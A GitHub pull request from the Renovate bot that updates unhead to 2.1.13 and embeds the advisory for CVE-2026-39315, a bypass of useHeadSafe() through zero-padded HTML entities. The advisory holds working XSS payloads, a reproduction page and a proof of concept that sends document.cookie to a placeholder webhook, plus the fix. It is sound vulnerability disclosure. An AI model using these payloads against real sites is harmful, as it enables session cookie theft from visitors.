chore(deps): update devdependency unhead to v2.1.13 [security] by renovate[bot] · Pull Request #943 · nuxt-modules/ionic

renovate · 2026-04-09T22:55:02Z

This PR contains the following updates:

Package	Change	Age	Confidence
unhead (source)	`2.1.12` → `2.1.13`

GitHub Vulnerability Alerts

CVE-2026-39315

##EVIDENCE

Summary

useHeadSafe() is the composable that Nuxt's own documentation explicitly recommends
for rendering user-supplied content in <head> safely. Internally, the
hasDangerousProtocol() function in packages/unhead/src/plugins/safe.ts decodes
HTML entities before checking for blocked URI schemes (javascript:, data:,
vbscript:). The decoder uses two regular expressions with fixed-width digit caps:

// Current — vulnerable
const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
const HtmlEntityDec = /&#(\d{1,7});?/g

The HTML5 specification imposes no limit on leading zeros in numeric character
references. Both of the following are valid, spec-compliant encodings of : (U+003A):

&#0000000058; — 10 decimal digits, exceeds the \d{1,7} cap
&#x000003A; — 7 hex digits, exceeds the [0-9a-f]{1,6} cap

When a padded entity exceeds the regex digit cap, the decoder silently skips it. The
undecoded string is then passed to startsWith('javascript:'), which does not match.
makeTagSafe() writes the raw value directly into SSR HTML output. The browser's HTML
parser decodes the padded entity natively and constructs the blocked URI.

Note: This is a separate, distinct issue from CVE-2026-31860 / GHSA-g5xx-pwrp-g3fv,
which was an attribute key injection via the data-* prefix. This finding targets
the attribute value decoder — a different code path with a different root cause and
a different fix.

Root Cause Analysis

Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11)

const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi   // cap: 6 hex digits max
const HtmlEntityDec = /&#(\d{1,7});?/g             // cap: 7 decimal digits max

Why the bypass works

The HTML5 parser specification ([§ Numeric character reference end state][html5-spec])
states that leading zeros in numeric character references are valid and the number of
digits is unbounded. A conformant browser will decode &#x000003A; as : regardless
of the number of leading zeros.

Because the regex caps are lower than the digit counts an attacker can supply, the
entity match fails silently. The raw padded string (java&#0000000058;script:alert(1))
is passed unchanged to the scheme check. startsWith('javascript:') returns false,
and the value is rendered into SSR output verbatim. The browser then decodes the entity
and the blocked scheme is present in the live DOM.

Steps to Reproduce

Environment

Nuxt: 4.x (current)
unhead: 2.1.12 (current at time of report)
Node: 20 LTS
Chrome: 146+

Step 1 — Create a fresh Nuxt 4 project

npx nuxi init poc
cd poc
npm install

Step 2 — Replace `pages/index.vue`

<template>
  <div>
    <h1>useHeadSafe bypass PoC</h1>
    <p>View page source or run the curl command below.</p>
  </div>
</template>

<script setup>
import { useHeadSafe } from '#imports'

useHeadSafe({
  link: [
    // 10-digit decimal padding — exceeds \d{1,7} cap
    { rel: 'stylesheet', href: 'java&#&#8203;0000000058;script:alert(1)' },

    // 7-digit hex padding — exceeds [0-9a-f]{1,6} cap
    { rel: 'icon', href: 'data&#x000003A;text/html,<script>alert(document.cookie)<\/script>' }
  ]
})
</script>

Step 3 — Start the dev server and inspect SSR output

npm run dev

In a separate terminal:

curl -s http://localhost:3000 | grep '<link'

Expected result (safe)

Tags stripped entirely, or schemes rewritten to safe placeholder values.

Actual result (vulnerable)

<link href="java&#&#8203;0000000058;script:alert(1)" rel="stylesheet">
<link href="data&#x000003A;text/html,<script>alert(document.cookie)<\/script>" rel="icon">

Both javascript: and data: — explicitly enumerated in the hasDangerousProtocol()
blocklist — are present in server-rendered HTML. The browser decodes the padded entities
natively on load.

Confirmed Execution Path (data: URI via iframe, Chrome 146+)

Immediate script execution from <link> tags does not occur automatically — browsers
do not create a browsing context from <link href>. The exploitability of this bypass
therefore depends on whether downstream application code consumes <link> href values.

This is a common pattern in real-world Nuxt applications:

Head management libraries that hydrate or re-process <link> tags on the client
SEO and analytics scripts that read canonical or icon link values
Application features that preview, validate, or forward link URLs into iframes
Developer tooling that loads icon URLs for thumbnail generation

Chrome 146+ permits data: URIs loaded into iframes even though top-level data:
navigation has been blocked since Chrome 60. The following snippet — representative
of any downstream consumer that forwards <link href> into an iframe — triggers
confirmed script execution:

// Simulates downstream head-management or SEO utility reading a <link> href
const link = document.querySelector('link[rel="icon"]');
if (link) {
  const iframe = document.createElement('iframe');
  iframe.src = link.href; // browser decodes &#x000003A; → ':', constructs data: URI
  document.body.appendChild(iframe); // alert() fires
}

Full PoC with cookie exfiltration beacon

Replace ADD-YOUR-WEBHOOK-URL-HERE with a webhook.site URL before running.

<template>
  <div>
    <h1>useHeadSafe padded entity bypass — full PoC</h1>
    <p><strong>Dummy cookie:</strong> <code id="cookie-display">Loading…</code></p>
  </div>
</template>

<script setup>
import { useHeadSafe } from '#imports'
import { onMounted } from 'vue'

onMounted(() => {
  document.cookie = 'session=super-secret-token-12345; path=/; SameSite=None'
  const el = document.getElementById('cookie-display')
  if (el) el.textContent = document.cookie

  // Simulate downstream consumption: load the bypassed icon href into an iframe
  const link = document.querySelector('link[rel="icon"]')
  if (link) {
    const iframe = document.createElement('iframe')
    iframe.src = link.href
    iframe.style.cssText = 'width:700px;height:400px;border:3px solid red;margin-top:20px'
    document.body.appendChild(iframe)
  }
})

const webhook = 'https://ADD-YOUR-WEBHOOK-URL-HERE'

useHeadSafe({
  link: [
    {
      rel: 'icon',
      href: `data&#x000003A;text/html;base64,${btoa(`
        <!DOCTYPE html><html><body><script>
          alert('XSS via useHeadSafe padded entity bypass');
          new Image().src = '${webhook}?d=' + encodeURIComponent(JSON.stringify({
            finding: 'useHeadSafe hasDangerousProtocol bypass',
            cookie: document.cookie || 'session=super-secret-token-12345 (dummy)',
            origin: location.origin,
            ts: Date.now()
          }));
        <\/script></body></html>
      `)}`
    }
  ]
})
</script>

Observed result:

alert() fires from inside the iframe's data: document context
Webhook receives a GET request with the cookie value and origin in the query string
Page source confirms &#x000003A; is present unescaped in the SSR-rendered <link> tag

All testing was performed against a local Nuxt development environment on a personal
machine. Cookie values are dummy data. No production systems were accessed or targeted.

Impact

1. Broken security contract

Developers who follow Nuxt's own documentation and use useHeadSafe() for untrusted
user input have no reliable protection against javascript:, data:, or vbscript:
scheme injection when that input contains leading-zero padded numeric character
references. The documented guarantee is silently violated.

2. Confirmed data: URI escape to SSR output

A fully valid data:text/html URI now reaches server-rendered HTML. In applications
where any downstream code reads and loads <link href> values (head management
utilities, SEO tooling, icon preview features), this is confirmed XSS — the payload
persists in SSR output and executes for every visitor whose browser triggers the
downstream consumption path.

3. Forward exploitability

If any navigation-context attribute (e.g. <a href>, <form action>) is added to the
safe attribute whitelist in a future release, this bypass produces immediately
exploitable stored XSS with no additional attacker effort, because the end-to-end
bypass already works today.

Suggested Fix

Remove the fixed digit caps from both entity regexes. The downstream safeFromCodePoint()
function already validates that decoded codepoints fall within the valid Unicode range
(> 0x10FFFF || < 0 || isNaN → ''), so unbounded digit matching introduces no new
attack surface — it only ensures that all spec-compliant encodings of a codepoint are
decoded before the scheme check runs.

- const HtmlEntityHex = /&#x([0-9a-f]{1,6});?/gi
- const HtmlEntityDec = /&#(\d{1,7});?/g
+ const HtmlEntityHex = /&#x([0-9a-f]+);?/gi
+ const HtmlEntityDec = /&#(\d+);?/g

File: packages/unhead/src/plugins/safe.ts, lines 10–11

This is a minimal, low-risk change. No other code in the call path requires modification.

Weaknesses

CWE	Description
CWE-184	Incomplete List of Disallowed Inputs
CWE-116	Improper Encoding or Escaping of Output
CWE-20	Improper Input Validation

References

Source	Link
HTML5 spec — leading zeros valid and unbounded	https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state
GHSA-46fp-8f5p-pf2c — Loofah `allowed_uri?` bypass (same root cause, accepted CVE)	https://github.com/advisories/GHSA-46fp-8f5p-pf2c
CVE-2026-26022 — Gogs stored XSS via `data:` URI sanitizer bypass (same class)	https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/
OWASP XSS Filter Evasion — leading-zero entity encoding	https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes	https://developer.chrome.com/blog/data-url-deprecations
Prior unhead advisory (different code path, context only)	GHSA-g5xx-pwrp-g3fv / CVE-2026-31860
Affected file	https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts

Release Notes

unjs/unhead (unhead)

`v2.1.13`

Compare Source

🐞 Bug Fixes

schema-org: Normalize target to array before merging potentialAction - by @harlan-zw and Claude Opus 4.6 (1M context) in #709 (22ac9)

View changes on GitHub

Configuration

📅 Schedule: (UTC)

Branch creation
- ""
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

netlify · 2026-04-09T22:55:09Z

✅ Deploy Preview for friendly-lamington-fb5690 ready!

Name	Link
🔨 Latest commit	`65ea0ef`
🔍 Latest deploy log	https://app.netlify.com/projects/friendly-lamington-fb5690/deploys/69d82e4cd94a9c0008d27e3f
😎 Deploy Preview	https://deploy-preview-943--friendly-lamington-fb5690.netlify.app
📱 Preview on mobile	Toggle QR Code... Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify project configuration.

codecov · 2026-04-09T22:57:09Z

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 30.18%. Comparing base (d3ec099) to head (65ea0ef).

Additional details and impacted files

@@           Coverage Diff           @@
##             main     #943   +/-   ##
=======================================
  Coverage   30.18%   30.18%           
=======================================
  Files          12       12           
  Lines         328      328           
  Branches       98       98           
=======================================
  Hits           99       99           
  Misses        229      229

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:

❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

chore(deps): update devdependency unhead to v2.1.13 [security]

65ea0ef

renovate bot added chore dependencies labels Apr 9, 2026

renovate bot requested a review from danielroe as a code owner April 9, 2026 22:55

renovate bot added the chore label Apr 9, 2026

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

chore(deps): update devdependency unhead to v2.1.13 [security]#943

chore(deps): update devdependency unhead to v2.1.13 [security]#943
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-unhead-vulnerability

renovate bot commented Apr 9, 2026

Uh oh!

netlify bot commented Apr 9, 2026 •

edited

Loading

Uh oh!

codecov bot commented Apr 9, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Uh oh!

Conversation

renovate bot commented Apr 9, 2026

GitHub Vulnerability Alerts

CVE-2026-39315

Summary

Root Cause Analysis

Vulnerable code (packages/unhead/src/plugins/safe.ts, lines 10–11)

Why the bypass works

Steps to Reproduce

Environment

Step 1 — Create a fresh Nuxt 4 project

Step 2 — Replace pages/index.vue

Step 3 — Start the dev server and inspect SSR output

Expected result (safe)

Actual result (vulnerable)

Confirmed Execution Path (data: URI via iframe, Chrome 146+)

Full PoC with cookie exfiltration beacon

Impact

1. Broken security contract

2. Confirmed data: URI escape to SSR output

3. Forward exploitability

Suggested Fix

Weaknesses

References

Release Notes

v2.1.13

🐞 Bug Fixes

View changes on GitHub

Configuration

Uh oh!

netlify bot commented Apr 9, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

✅ Deploy Preview for friendly-lamington-fb5690 ready!

Uh oh!

codecov bot commented Apr 9, 2026

Codecov Report

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Vulnerable code (`packages/unhead/src/plugins/safe.ts`, lines 10–11)

Step 2 — Replace `pages/index.vue`

`v2.1.13`

netlify bot commented Apr 9, 2026 •

edited

Loading